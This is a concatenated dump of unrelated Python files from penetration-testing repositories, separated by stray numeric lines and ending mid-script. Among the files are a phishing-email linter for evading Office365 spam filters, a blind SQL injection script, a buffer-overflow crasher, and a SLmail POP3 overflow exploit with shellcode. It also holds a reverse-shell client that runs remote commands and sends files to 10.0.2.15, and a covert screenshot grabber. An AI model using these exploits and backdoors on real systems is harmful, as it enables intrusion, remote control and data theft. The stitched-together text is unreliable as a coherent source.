another URL, will trigger two Office365 anti-spam rules (Office365: 45080400002).' context = '' result = '' num = 0 embed = '' for link in links: try: href = link['href'] except: continue text = link.getText() params = dict(parse.parse_qsl(parse.urlsplit(href).query)) url = re.compile(r'((http|https)\:\/\/)?[a-zA-Z0-9\.\/\?\:@\-_=#]+\.([a-zA-Z]){2,6}([a-zA-Z0-9\.\&\/\?\:@\-_=#])*') if len(params) > 0: for k, v in params.items(): m = url.match(v) if m: urlmatched = m.group(1) num += 1 if num < 5: context += PhishingMailParser.context(link) + '\n' hr = href[:90] hr = logger.colored(hr, 'yellow') context += f'\thref = "{hr}"\n' context += f'\ttext = "{text[:90]}"\n\n' context += f'\thref URL GET parameter contained another URL:\n\t\t' + logger.colored(v, "red") + '\n' if num > 0: result += f'- Found {num} <a> tags with href="..." URLs containing GET params containing another URL.\n' result += '\t Links with URLs that contain GET params with another URL might trigger anti-spam rule (Office365: 45080400002)\n' if len(result) == 0: return [] return { 'description' : desc, 'context' : context, 'analysis' : result } def testMaskedLinks(self): links = self.soup('a') desc = 'Links that masquerade their href= attribute by displaying different link are considered harmful and will increase Spam score.' context = '' result = '' num = 0 embed = '' for link in links: try: href = link['href'] except: continue text = link.getText() url = re.compile(r'((http|https)\:\/\/)?[a-zA-Z0-9\.\/\?\:@\-_=#]+\.([a-zA-Z]){2,6}([a-zA-Z0-9\.\&\/\?\:@\-_=#])*') url2 = re.compile(r'((http|https)\:\/\/)[a-zA-Z0-9\.\/\?\:@\-_=#]+\.([a-zA-Z]){2,6}([a-zA-Z0-9\.\&\/\?\:@\-_=#])*') m1 = url.match(href) m2 = url2.search(text) if m1 and m2: num += 1 if num < 5: context += PhishingMailParser.context(link) + '\n' context += f'\thref = "{logger.colored(href[:90],"green")}"\n' context += f'\ttext = "{logger.colored(text[:90],"red")}"\n\n' if num > 0: result += f'- Found {num} <a> tags that masquerade their href="" links with text!\n' result += '\t Links that try to hide underyling URL are harmful and will be considered as Spam!\n' if len(result) == 0: return [] return { 'description' : desc, 'context' : context, 'analysis' : result } def testImagesNoAlt(self): images = self.soup('img') desc = 'Images without ALT="value" attribute may increase Spam scorage.' context = '' result = '' num = 0 embed = '' for img in images: src = img['src'] alt = '' try: alt = img['alt'] except: pass if alt == '': num += 1 if num < 5: context += PhishingMailParser.context(img) + '\n\n' if num > 0: result += f'- Found {num} <img> tags without ALT="value" attribute.\n' result += '\t Images without alternate text set in their attribute may increase Spam score\n' if len(result) == 0: return [] return { 'description' : desc, 'context' : context, 'analysis' : result } def testEmbeddedImages(self): images = self.soup('img') x = '<img src="data:image/png;base64,<BLOB>"/>' desc = f'Embedded images can increase Spam Confidence Level (SCL) in Office365. Embedded images are those with {logger.colored(x,"yellow")} . They should be avoided.' context = '' result = '' num = 0 embed = '' for img in images: src = img['src'] alt = '' try: alt = img['alt'] except: pass if src.lower().startswith('data:image/'): if len(embed) == 0: embed = src[:30] num += 1 if num < 5: if len(alt) > 0: context += f'- ALT="{alt}": ' + PhishingMailParser.context(img) + '\n' else: ctx = PhishingMailParser.context(img) pos = ctx.find('data:') pos2 = ctx.find('"', pos+1) ctx = logger.colored(ctx[:pos], 'yellow') + logger.colored(ctx[pos:pos2], 'red') + logger.colored(ctx[pos2:], 'yellow') context += ctx + '\n' if num > 0: result += f'- Found {logger.colored(num, "red")} <img> tags with embedded image ({logger.colored(embed, "yellow")}).\n' result += '\t Embedded images increase Office365 SCL (Spam) level!\n' if len(result) == 0: return [] return { 'description' : desc, 'context' : context, 'analysis' : result } def printOutput(out): if options['format'] == 'text': width = 100 num = 0 for k, v in out.items(): num += 1 analysis = v['analysis'].strip() context = v['context'].strip() desc = '\n'.join(textwrap.wrap( v['description'], width = 80, initial_indent = '', subsequent_indent = ' ' )).strip() analysis = analysis.replace('- ', '\t- ') print(f''' ------------------------------------------ ({num}) Test: {logger.colored(k, "cyan")} {logger.colored("DESCRIPTION", "blue")}: {desc} {logger.colored("CONTEXT", "blue")}: {context} {logger.colored("ANALYSIS", "blue")}: {analysis} ''') elif options['format'] == 'json': print(json.dumps(out)) def opts(argv): global options global headers o = argparse.ArgumentParser( usage = 'phishing-HTML-linter.py [options] <file.html>' ) req = o.add_argument_group('Required arguments') req.add_argument('file', help = 'Input HTML file') args = o.parse_args() options.update(vars(args)) return args def main(argv): args = opts(argv) if not args: return False print(''' :: Phishing HTML Linter Shows you bad smells in your HTML code that will get your mails busted! Mariusz Banach / mgeeky ''') html = '' with open(args.file, 'rb') as f: html = f.read() p = PhishingMailParser({}) ret = p.parse(html.decode()) if len(ret) > 0: printOutput(ret) else: print('\n[+] Congrats! Your message does not have any known bad smells that could trigger anti-spam rules.\n') if __name__ == '__main__': main(sys.argv)
37.706759
174
0.499486
Hands-On-Bug-Hunting-for-Penetration-Testers
#!/usr/bin/env python2.7 import os, sys import requests from bs4 import BeautifulSoup url = sys.argv[1] directory = sys.argv[2] os.makedirs(directory) def download_script(uri): address = url + uri if uri[0] == '/' else uri filename = address[address.rfind("/")+1:address.rfind("js")+2] req = requests.get(url) with open(directory + '/' + filename, 'wb') as file: file.write(req.content) r = requests.get(url) soup = BeautifulSoup(r.text, 'html.parser') for script in soup.find_all('script'): if script.get('src'): download_script(script.get('src'))
22.625
64
0.685512
cybersecurity-penetration-testing
#!/usr/bin/python # -*- coding: utf-8 -*- import ftplib def returnDefault(ftp): try: dirList = ftp.nlst() except: dirList = [] print '[-] Could not list directory contents.' print '[-] Skipping To Next Target.' return retList = [] for fileName in dirList: fn = fileName.lower() if '.php' in fn or '.htm' in fn or '.asp' in fn: print '[+] Found default page: ' + fileName retList.append(fileName) return retList host = '192.168.95.179' userName = 'guest' passWord = 'guest' ftp = ftplib.FTP(host) ftp.login(userName, passWord) returnDefault(ftp)
20.566667
56
0.583591
owtf
""" Plugin for probing SMB """ from owtf.managers.resource import get_resources from owtf.plugin.helper import plugin_helper DESCRIPTION = " SMB Probing " def run(PluginInfo): resource = get_resources("BruteSmbProbeMethods") return plugin_helper.CommandDump("Test Command", "Output", resource, PluginInfo, [])
23.769231
88
0.747664
Hands-On-Penetration-Testing-with-Python
# -*- coding: utf-8 -*- from south.utils import datetime_utils as datetime from south.db import db from south.v2 import SchemaMigration from django.db import models class Migration(SchemaMigration): def forwards(self, orm): # Adding model 'Project' db.create_table(u'xtreme_server_project', ( ('project_name', self.gf('django.db.models.fields.CharField')(max_length=50, primary_key=True)), ('start_url', self.gf('django.db.models.fields.URLField')(max_length=200)), ('query_url', self.gf('django.db.models.fields.URLField')(max_length=200)), ('allowed_extensions', self.gf('django.db.models.fields.TextField')()), ('allowed_protocols', self.gf('django.db.models.fields.TextField')()), ('consider_only', self.gf('django.db.models.fields.TextField')()), ('exclude_fields', self.gf('django.db.models.fields.TextField')()), ('status', self.gf('django.db.models.fields.CharField')(default='Not Set', max_length=50)), ('login_url', self.gf('django.db.models.fields.URLField')(max_length=200)), ('logout_url', self.gf('django.db.models.fields.URLField')(max_length=200)), ('username', self.gf('django.db.models.fields.TextField')()), ('password', self.gf('django.db.models.fields.TextField')()), ('auth_mode', self.gf('django.db.models.fields.TextField')()), )) db.send_create_signal(u'xtreme_server', ['Project']) # Adding model 'Page' db.create_table(u'xtreme_server_page', ( (u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('URL', self.gf('django.db.models.fields.URLField')(max_length=200)), ('content', self.gf('django.db.models.fields.TextField')(blank=True)), ('visited', self.gf('django.db.models.fields.BooleanField')(default=False)), ('auth_visited', self.gf('django.db.models.fields.BooleanField')(default=False)), ('status_code', self.gf('django.db.models.fields.CharField')(max_length=256, blank=True)), ('connection_details', self.gf('django.db.models.fields.TextField')(blank=True)), ('project', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['xtreme_server.Project'])), ('page_found_on', self.gf('django.db.models.fields.URLField')(max_length=200, blank=True)), )) db.send_create_signal(u'xtreme_server', ['Page']) # Adding model 'Form' db.create_table(u'xtreme_server_form', ( (u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('project', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['xtreme_server.Project'])), ('form_found_on', self.gf('django.db.models.fields.URLField')(max_length=200)), ('form_name', self.gf('django.db.models.fields.CharField')(max_length=512, blank=True)), ('form_method', self.gf('django.db.models.fields.CharField')(default='GET', max_length=10)), ('form_action', self.gf('django.db.models.fields.URLField')(max_length=200, blank=True)), ('form_content', self.gf('django.db.models.fields.TextField')(blank=True)), ('auth_visited', self.gf('django.db.models.fields.BooleanField')(default=False)), ('input_field_list', self.gf('django.db.models.fields.TextField')(blank=True)), )) db.send_create_signal(u'xtreme_server', ['Form']) # Adding model 'InputField' db.create_table(u'xtreme_server_inputfield', ( (u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('form', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['xtreme_server.Form'])), ('input_type', self.gf('django.db.models.fields.CharField')(default='input', max_length=256, blank=True)), )) db.send_create_signal(u'xtreme_server', ['InputField']) # Adding model 'Vulnerability' db.create_table(u'xtreme_server_vulnerability', ( (u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('form', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['xtreme_server.Form'])), ('details', self.gf('django.db.models.fields.TextField')(blank=True)), )) db.send_create_signal(u'xtreme_server', ['Vulnerability']) # Adding model 'Settings' db.create_table(u'xtreme_server_settings', ( (u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('allowed_extensions', self.gf('django.db.models.fields.TextField')()), ('allowed_protocols', self.gf('django.db.models.fields.TextField')()), ('consider_only', self.gf('django.db.models.fields.TextField')()), ('exclude_fields', self.gf('django.db.models.fields.TextField')()), ('username', self.gf('django.db.models.fields.TextField')()), ('password', self.gf('django.db.models.fields.TextField')()), ('auth_mode', self.gf('django.db.models.fields.TextField')()), )) db.send_create_signal(u'xtreme_server', ['Settings']) # Adding model 'LearntModel' db.create_table(u'xtreme_server_learntmodel', ( (u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('project', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['xtreme_server.Project'])), ('page', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['xtreme_server.Page'])), ('form', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['xtreme_server.Form'])), ('query_id', self.gf('django.db.models.fields.TextField')()), ('learnt_model', self.gf('django.db.models.fields.TextField')(blank=True)), )) db.send_create_signal(u'xtreme_server', ['LearntModel']) def backwards(self, orm): # Deleting model 'Project' db.delete_table(u'xtreme_server_project') # Deleting model 'Page' db.delete_table(u'xtreme_server_page') # Deleting model 'Form' db.delete_table(u'xtreme_server_form') # Deleting model 'InputField' db.delete_table(u'xtreme_server_inputfield') # Deleting model 'Vulnerability' db.delete_table(u'xtreme_server_vulnerability') # Deleting model 'Settings' db.delete_table(u'xtreme_server_settings') # Deleting model 'LearntModel' db.delete_table(u'xtreme_server_learntmodel') models = { u'xtreme_server.form': { 'Meta': {'object_name': 'Form'}, 'auth_visited': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'form_action': ('django.db.models.fields.URLField', [], {'max_length': '200', 'blank': 'True'}), 'form_content': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'form_found_on': ('django.db.models.fields.URLField', [], {'max_length': '200'}), 'form_method': ('django.db.models.fields.CharField', [], {'default': "'GET'", 'max_length': '10'}), 'form_name': ('django.db.models.fields.CharField', [], {'max_length': '512', 'blank': 'True'}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'input_field_list': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'project': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['xtreme_server.Project']"}) }, u'xtreme_server.inputfield': { 'Meta': {'object_name': 'InputField'}, 'form': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['xtreme_server.Form']"}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'input_type': ('django.db.models.fields.CharField', [], {'default': "'input'", 'max_length': '256', 'blank': 'True'}) }, u'xtreme_server.learntmodel': { 'Meta': {'object_name': 'LearntModel'}, 'form': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['xtreme_server.Form']"}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'learnt_model': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'page': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['xtreme_server.Page']"}), 'project': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['xtreme_server.Project']"}), 'query_id': ('django.db.models.fields.TextField', [], {}) }, u'xtreme_server.page': { 'Meta': {'object_name': 'Page'}, 'URL': ('django.db.models.fields.URLField', [], {'max_length': '200'}), 'auth_visited': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'connection_details': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'content': ('django.db.models.fields.TextField', [], {'blank': 'True'}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'page_found_on': ('django.db.models.fields.URLField', [], {'max_length': '200', 'blank': 'True'}), 'project': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['xtreme_server.Project']"}), 'status_code': ('django.db.models.fields.CharField', [], {'max_length': '256', 'blank': 'True'}), 'visited': ('django.db.models.fields.BooleanField', [], {'default': 'False'}) }, u'xtreme_server.project': { 'Meta': {'object_name': 'Project'}, 'allowed_extensions': ('django.db.models.fields.TextField', [], {}), 'allowed_protocols': ('django.db.models.fields.TextField', [], {}), 'auth_mode': ('django.db.models.fields.TextField', [], {}), 'consider_only': ('django.db.models.fields.TextField', [], {}), 'exclude_fields': ('django.db.models.fields.TextField', [], {}), 'login_url': ('django.db.models.fields.URLField', [], {'max_length': '200'}), 'logout_url': ('django.db.models.fields.URLField', [], {'max_length': '200'}), 'password': ('django.db.models.fields.TextField', [], {}), 'project_name': ('django.db.models.fields.CharField', [], {'max_length': '50', 'primary_key': 'True'}), 'query_url': ('django.db.models.fields.URLField', [], {'max_length': '200'}), 'start_url': ('django.db.models.fields.URLField', [], {'max_length': '200'}), 'status': ('django.db.models.fields.CharField', [], {'default': "'Not Set'", 'max_length': '50'}), 'username': ('django.db.models.fields.TextField', [], {}) }, u'xtreme_server.settings': { 'Meta': {'object_name': 'Settings'}, 'allowed_extensions': ('django.db.models.fields.TextField', [], {}), 'allowed_protocols': ('django.db.models.fields.TextField', [], {}), 'auth_mode': ('django.db.models.fields.TextField', [], {}), 'consider_only': ('django.db.models.fields.TextField', [], {}), 'exclude_fields': ('django.db.models.fields.TextField', [], {}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'password': ('django.db.models.fields.TextField', [], {}), 'username': ('django.db.models.fields.TextField', [], {}) }, u'xtreme_server.vulnerability': { 'Meta': {'object_name': 'Vulnerability'}, 'details': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'form': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['xtreme_server.Form']"}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}) } } complete_apps = ['xtreme_server']
61.622449
130
0.571335
Python-Penetration-Testing-for-Developers
import requests import sys url = sys.argv[1] yes = sys.argv[2] answer = [] i = 1 asciivalue = 1 letterss = [] print "Kicking off the attempt" payload = {'injection': '\'AND char_length(password) = '+str(i)+';#', 'Submit': 'submit'} while True: req = requests.post(url, data=payload) lengthtest = req.text if yes in lengthtest: length = i break i = i+1 for x in range(1, length): payload = {'injection': '\'AND (substr(password, '+str(x)+', 1)) = '+ chr(asciivalue)+';#', 'Submit': 'submit'} req = requests.post(url, data=payload, cookies=cookies) if yes in req.text: answer.append(asciivalue) else: asciivalue = asciivalue + 1 pass asciivalue = 1 print "Recovered String: "+ ''.join(answer)
20.69697
112
0.653147
Mastering-Kali-Linux-for-Advanced-Penetration-Testing-4E
Import socket s = socket.socket() s.connect(("10.10.10.4",9999)) leng = 2984 payload = [b"TRUN /.:/",b"A"*leng] payload = b"".join(payload) s.send(payload) s.close()
17.555556
34
0.644578
Python-for-Offensive-PenTest
# Python For Offensive PenTest # Directory Navigation import socket import subprocess import os def transfer(s,path): if os.path.exists(path): f = open(path, 'rb') packet = f.read(1024) while packet != '': s.send(packet) packet = f.read(1024) s.send('DONE') f.close() else: s.send('Unable to find out the file') def connect(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('10.0.2.15', 8080)) while True: command = s.recv(1024) if 'terminate' in command: s.close() break elif 'grab' in command: grab,path = command.split('*') try: transfer(s,path) except Exception,e: s.send ( str(e) ) pass elif 'cd' in command: # the forumal here is gonna be cd then space then the path that we want to go to, like cd C:\Users code,directory = command.split (' ') # split up the reiceved command based on space into two variables os.chdir(directory) # changing the directory s.send( "[+] CWD Is " + os.getcwd() ) # we send back a string mentioning the new CWD else: CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) s.send( CMD.stdout.read() ) s.send( CMD.stderr.read() ) def main (): connect() main()
21.528571
129
0.531091
cybersecurity-penetration-testing
import sys import os import nmap with open("./nmap_output.xml", "r") as fd: content = fd.read() nm.analyse_nmap_xml_scan(content) print(nm.csv())
19.375
42
0.635802
owtf
""" owtf.utils.formatters ~~~~~~~~~~~~~~~~~~~~~ CLI string formatting """ import logging # CUSTOM LOG LEVELS LOG_LEVEL_TOOL = 25 # Terminal colors TERMINAL_COLOR_BLUE = "\033[94m" TERMINAL_COLOR_GREEN = "\033[92m" TERMINAL_COLOR_YELLOW = "\033[93m" TERMINAL_COLOR_RED = "\033[91m" TERMINAL_COLOR_END = "\033[0m" TERMINAL_COLOR_LIGHT_BLUE = "\033[96m" class ConsoleFormatter(logging.Formatter): """ Custom formatter to show logging messages differently on Console """ error_fmt = TERMINAL_COLOR_RED + "[-] {}" + TERMINAL_COLOR_END warn_fmt = TERMINAL_COLOR_YELLOW + "[!] {}" + TERMINAL_COLOR_END debug_fmt = TERMINAL_COLOR_GREEN + "[*] {}" + TERMINAL_COLOR_END info_fmt = TERMINAL_COLOR_BLUE + "[+] {}" + TERMINAL_COLOR_END def format(self, record): """ Choose format according to record level :param record: Record to format :type record: `str` :return: Formatted string :rtype: `str` """ # Replace the original message with one customized by logging level if record.levelno == logging.DEBUG: record.msg = self.debug_fmt.format(record.msg) elif record.levelno == logging.INFO: record.msg = self.info_fmt.format(record.msg) elif record.levelno == logging.ERROR: record.msg = self.error_fmt.format(record.msg) elif record.levelno == logging.WARN: record.msg = self.warn_fmt.format(record.msg) # Call the original formatter class to do the grunt work result = super(ConsoleFormatter, self).format(record) return result class FileFormatter(logging.Formatter): """ Custom formatter for log files """ def __init__(self, *args, **kwargs): super(FileFormatter, self).__init__() self._fmt = "[%(levelname)s] [%(asctime)s] " + "[File '%(filename)s', line %(lineno)s, in %(funcName)s] -" + " %(message)s"
28.753846
131
0.620279
Penetration_Testing
''' Suggestion: Use py2exe to turn this script into a Windows executable. Example: python setup.py py2exe Run as administrator to store file under current path. Change pathname if administrator level privilege is not possible. ''' import win32gui import win32ui import win32con import win32api def win_screenshot_taker(): # Grab a handle to the main desktop window fg_window = win32gui.GetDesktopWindow() # Determine the size of all monitors in pixels width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN) height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN) left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN) top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN) # Create a device context desktop_dc = win32gui.GetWindowDC(fg_window) img_dc = win32ui.CreateDCFromHandle(desktop_dc) # Create a memory-based device context mem_dc = img_dc.CreateCompatibleDC() # Create a bitmap object screenshot = win32ui.CreateBitmap() screenshot.CreateCompatibleBitmap(img_dc, width, height) mem_dc.SelectObject(screenshot) # Copy the screen into our memory device context mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY) # Save the bitmap to a file screenshot.SaveBitmapFile(mem_dc, "c:\\WINDOWS\\Temp\\screenshot.bmp") # Free our objects mem_dc.DeleteDC() win32gui.DeleteObject(screenshot.GetHandle()) win_screenshot_taker()
27.28
78
0.777778
owtf
from owtf.managers.resource import get_resources from owtf.plugin.helper import plugin_helper DESCRIPTION = "Plugin to assist manual testing" def run(PluginInfo): resource = get_resources("ExternalCrossSiteScripting") Content = plugin_helper.resource_linklist("Online Resources", resource) return Content
28.181818
75
0.784375
cybersecurity-penetration-testing
#!/usr/bin/env python from pyVim import connect from pyVmomi import vmodl from pyVmomi import vim import sys def generate_portgroup_info(content): """Enumerates all hypervisors to get network infrastructure information""" host_view = content.viewManager.CreateContainerView(content.rootFolder, [vim.HostSystem], True) hostlist = [host for host in host_view.view] host_view.Destroy() hostPgDict = {} for host in hostlist: pgs = host.config.network.portgroup hostPgDict[host] = pgs return (hostlist, hostPgDict) def get_vms(content, min_nics=1): vm_view = content.viewManager.CreateContainerView(content.rootFolder, [vim.VirtualMachine], True) vms = [vm for vm in vm_view.view] vm_view.Destroy() vm_with_nics = [] for vm in vms: num_nics = 0 for dev in vm.config.hardware.device: # ignore non-network devices if not isinstance(dev, vim.vm.device.VirtualEthernetCard): continue num_nics = num_nics + 1 if num_nics >= min_nics: vm_with_nics.append(vm) break return vm_with_nics def print_vm_info(vm, hosts, host2portgroup, content): print "\n=== %s ===" % vm.name for dev in vm.config.hardware.device: if not isinstance(dev, vim.vm.device.VirtualEthernetCard): continue dev_backing = dev.backing if hasattr(dev_backing, 'port'): # NIC is connected to distributed vSwitch portGroupKey = dev.backing.port.portgroupKey dvsUuid = dev.backing.port.switchUuid try: dvs = content.dvSwitchManager.QueryDvsByUuid(dvsUuid) except: portGroup = 'ERROR: DVS not found!' vlanId = 'N/A' vSwitch = 'N/A' else: pgObj = dvs.LookupDvPortGroup(portGroupKey) portGroup = pgObj.config.name vlObj = pgObj.config.defaultPortConfig.vlan if hasattr(vlObj, 'pvlanId'): vlanId = str(pgObj.config.defaultPortConfig.vlan.pvlanId) else: vlanId = str(pgObj.config.defaultPortConfig.vlan.vlanId) vSwitch = str(dvs.name) else: # NIC is connected to simple vSwitch portGroup = dev.backing.network.name vmHost = vm.runtime.host # look up the port group from the # matching host host_pos = hosts.index(vmHost) viewHost = hosts[host_pos] pgs = host2portgroup[viewHost] for p in pgs: if portgroup in p.key: vlanId = str(p.spec.vlanId) vSwitch = str(p.spec.vswitchName) if portGroup is None: portGroup = 'N/A' print '%s -> %s @ %s -> %s (VLAN %s)' % (dev.deviceInfo.label, dev.macAddress, vSwitch, portGroup, vlanId) def print_dual_homed_vms(service): """Lists all virtual machines with multiple NICs to different networks""" content = service.RetrieveContent() hosts, host2portgroup = generate_portgroup_info(content) vms = get_vms(content, min_nics=2) for vm in vms: print_vm_info(vm, hosts, host2portgroup, content) if __name__ == '__main__': if len(sys.argv) < 5: print 'Usage: %s host user password port' % sys.argv[0] sys.exit(1) service = connect.SmartConnect(host=sys.argv[1], user=sys.argv[2], pwd=sys.argv[3], port=int(sys.argv[4])) print_dual_homed_vms(service)
34.067227
77
0.511026
Penetration-Testing-Study-Notes
#!/usr/bin/python import sys import subprocess if len(sys.argv) != 2: print "Usage: smbrecon.py <ip address>" sys.exit(0) ip = sys.argv[1] NBTSCAN = "python samrdump.py %s" % (ip) nbtresults = subprocess.check_output(NBTSCAN, shell=True) if ("Connection refused" not in nbtresults) and ("Connect error" not in nbtresults) and ("Connection reset" not in nbtresults): print "[*] SAMRDUMP User accounts/domains found on " + ip lines = nbtresults.split("\n") for line in lines: if ("Found" in line) or (" . " in line): print " [+] " + line
24.727273
127
0.660177
Hands-On-Penetration-Testing-with-Python
import struct import socket print "\n\n###############################################" print "\nSLmail 5.5 POP3 PASS Buffer Overflow" print "\nFound & coded by muts [at] offsec.com" print "\nFor Educational Purposes Only!" print "\n\n###############################################" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #Note 1433,443 works aswell works as its not blocked by firewall #1444 does not work ,apperently firewall is blocing or something ,as 1444 is not a well known port --NO it was an issue with encoding of metasploit --Fixed #Lets try bing with 443 and 2606 location = doesnt work -may b cuz of bad characters as \x20 is there.Most of the times the payload generated has \x20 in it despite specifying it as a bad charactr n thats the reason why the payload sometimes works on 443 and sometimes it doesnt.Even when 1433 has \x20 it doesnt work #Bingo --discovered ,why rev shell was not working and bind was sometimes workinga nd sometimes not ,its because -b is not working with metasploit , initially -b "-" was copied from internet and it was somekind of special char.when -b was put manually it kept on giving error. !!. #We tried to update metasploit :apt install metasploit-framework #BIngo that solved the problem . #Lets try a random port like 1444-- Works like a charm !! #try 80 and 443 with same bind--Works #1444 with 2606 + BIND shell -Works like a charm .Trt rvse shell now LPORT1433 = "" LPORT1433 += "\xf9\x42\xf9\x9b\x2f\x99\xfc\x40\x49\x9b\xbd\x08" LPORT1433 += "\x71\xc8\xdb\xda\xc8\xd9\x74\x24\xf4\x5a\x31\xc9" LPORT1433 += "\xb1\x4e\x83\xea\xfc\x31\x6a\x0f\x03\x6a\x07\x93" LPORT1433 += "\x3d\x27\xff\xd1\xbe\xd8\xff\xb5\x37\x3d\xce\xf5" LPORT1433 += "\x2c\x35\x60\xc6\x27\x1b\x8c\xad\x6a\x88\x07\xc3" LPORT1433 += "\xa2\xbf\xa0\x6e\x95\x8e\x31\xc2\xe5\x91\xb1\x19" LPORT1433 += "\x3a\x72\x88\xd1\x4f\x73\xcd\x0c\xbd\x21\x86\x5b" LPORT1433 += "\x10\xd6\xa3\x16\xa9\x5d\xff\xb7\xa9\x82\xb7\xb6" LPORT1433 += "\x98\x14\xcc\xe0\x3a\x96\x01\x99\x72\x80\x46\xa4" LPORT1433 += "\xcd\x3b\xbc\x52\xcc\xed\x8d\x9b\x63\xd0\x22\x6e" LPORT1433 += "\x7d\x14\x84\x91\x08\x6c\xf7\x2c\x0b\xab\x8a\xea" LPORT1433 += "\x9e\x28\x2c\x78\x38\x95\xcd\xad\xdf\x5e\xc1\x1a" LPORT1433 += "\xab\x39\xc5\x9d\x78\x32\xf1\x16\x7f\x95\x70\x6c" LPORT1433 += "\xa4\x31\xd9\x36\xc5\x60\x87\x99\xfa\x73\x68\x45" LPORT1433 += "\x5f\xff\x84\x92\xd2\xa2\xc0\x57\xdf\x5c\x10\xf0" LPORT1433 += "\x68\x2e\x22\x5f\xc3\xb8\x0e\x28\xcd\x3f\x71\x03" LPORT1433 += "\xa9\xd0\x8c\xac\xca\xf9\x4a\xf8\x9a\x91\x7b\x81" LPORT1433 += "\x70\x62\x84\x54\xec\x69\x23\x07\x13\x90\xb9\xa6" LPORT1433 += "\xb9\x69\x55\x43\x32\xb1\x45\x6c\x98\xda\xed\x91" LPORT1433 += "\x23\xe0\x49\x1c\xc5\x80\x81\x49\x5d\x3d\x63\xae" LPORT1433 += "\x56\xda\x9c\x84\x1c\xe4\x17\x7f\x48\x8d\x60\x96" LPORT1433 += "\x4e\xb2\x71\xbc\xf8\x24\xf9\xd3\x3c\x54\xfe\xf9" LPORT1433 += "\x14\x01\x68\x77\xf5\x60\x09\x88\xdc\x11\xc9\x1c" LPORT1433 += "\xdb\xb3\x9e\x88\xe1\xe2\xe8\x16\x19\xc1\x6b\x50" LPORT1433 += "\xe5\x94\x46\x2a\xd0\x02\xd8\x44\x1d\xc3\xd8\x94" LPORT1433 += "\x4b\x89\xd8\xfc\x2b\xe9\x8b\x19\x34\x24\xb8\xb1" LPORT1433 += "\xa1\xc7\xe8\x66\x61\xa0\x16\x50\x45\x6f\xe9\xb7" LPORT1433 += "\xd5\x68\x15\x46\xdd\x89\xd6\x9f\x27\xfc\x31\x1c" LPORT1433 += "\x1c\x0f\x74\x01\x35\x9a\x76\x15\x45\x8f" #Tested on Win2k SP4 Unpatched # Change ret address if needed #buffer = '\x41' * 4654 + struct.pack('<L', 0x783d6ddf) + '\x90'*32 + LPORT1433 buffer = '\x41' * 2606 try: print "\nSending evil buffer..." s.connect(('192.168.250.136',110)) data = s.recv(1024) s.send('USER username' +'\r\n') data = s.recv(1024) print(str(data)) s.send('PASS ' + buffer + '\x8f\x35\x4a\x5f'+ LPORT1433 + '\r\n') data = s.recv(1024) print(str(data)) s.close() print "\nDone! Try connecting to port 4444 on victim machine." except: print "Could not connect to POP3!"
46.060241
317
0.68886
Hands-On-Penetration-Testing-with-Python
from selenium import webdriver from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC from selenium.common.exceptions import TimeoutException from selenium.webdriver.common.keys import Keys from selenium.webdriver.common.by import By from selenium.webdriver.support.ui import Select from selenium.webdriver.firefox.firefox_binary import FirefoxBinary import datetime import time class Automation : def __init__(self): self.browser=webdriver.Firefox(); self.opt='' self.allocation_name='' self.allocation_details='' self.un='' self.lines=[] with open("input.txt","r+") as input: self.lines=input.readlines() self.email=str(self.lines[0]) self.password=str((self.lines[1])) def automate(self): try: browser=self.browser browser.get('https://login.microsoftonline.com/paladionitsecurity.onmicrosoft.com/wsfed?wa=wsignin1.0&wtrealm=https%3a%2f%2fpaladionitsecurity.onmicrosoft.com%2fResourcePlanner&wctx=rm%3d0%26id%3dpassive%26ru%3d%252f&wct=2017-02-28T08%3a27%3a26Z#'); element_username=browser.find_element_by_name("login"); element_username.clear() element_username.send_keys(self.email) element_username.click() element_password=browser.find_element_by_name("passwd"); element_password.clear() element_password.send_keys(self.password) element_password.click() try: element_submit = WebDriverWait(browser, 30).until( EC.element_to_be_clickable((By.ID, "cred_sign_in_button")) ) print " Elemet submit found !! " time. sleep(5) element_submit.click() except Exception ,ee: print "Exception : "+str(ee) browser.quit() otp=raw_input("\n\n Enter OTP ") try: element_otp = WebDriverWait(browser, 30).until( 